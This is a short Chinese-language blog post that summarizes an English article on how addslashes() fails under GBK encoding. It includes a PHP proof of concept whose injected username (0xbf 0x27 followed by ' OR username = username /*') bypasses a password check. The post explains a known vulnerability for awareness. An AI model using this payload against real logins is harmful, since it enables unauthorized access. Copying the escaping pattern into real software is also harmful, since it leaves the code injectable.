客户端采用GBK编码时addslashes()可能造成SQL注入漏洞

原文：http://shiflett.org/archive/184

 

摘要：
      在GBK字符集中，0xbf27不作为多字节字符，而0xbf5c是多字节字符。当0xbf和0x27组合后就变成0xbf27，0xbf 和0x5c 组合后就变成了0xbf5c 。
      当注入字符比如0xbf27时，因为0x27为‘，所以addslashes()在27前加上5c（即\）,把0xbf27修改为0xbf5c27。而0xbf5c27的0xbf5c被认为时一个多字节字符，所以后面的27（‘）就被注入了sql语句中了。

代码如下：

[client]default-character-set=GBK

Create a table called users:

CREATE TABLE users(username VARCHAR(32) CHARACTER SET GBK,password VARCHAR(32) CHARACTER SET GBK,PRIMARY KEY (username));

<?php 
 
$mysql = array(); 
 
$db = mysqli_init(); 
$db->real_connect(‘localhost‘, ‘myuser‘, ‘mypass‘, ‘mydb‘); 
 
$_POST[‘username‘] = chr(0xbf) . 
                     chr(0x27) . 
                     ‘ OR username = username /*‘; 
$_POST[‘password‘] = ‘guess‘; 
 
$mysql[‘username‘] = addslashes($_POST[‘username‘]); 
$mysql[‘password‘] = addslashes($_POST[‘password‘]); 
 
$sql = "SELECT * 
        FROM   users 
        WHERE  username = ‘{$mysql[‘username‘]}‘ 
        AND    password = ‘{$mysql[‘password‘]}‘"; 
 
$result = $db->query($sql); 
 
if ($result->num_rows) 
{ 
    echo ‘<p>Success</p>‘; 
} 
else 
{ 
    echo ‘<p>Failure</p>‘; 
} 
 
?>

 ps:与0x5c（即\）为结尾组成多字节字符的字符集都可能有这个漏洞。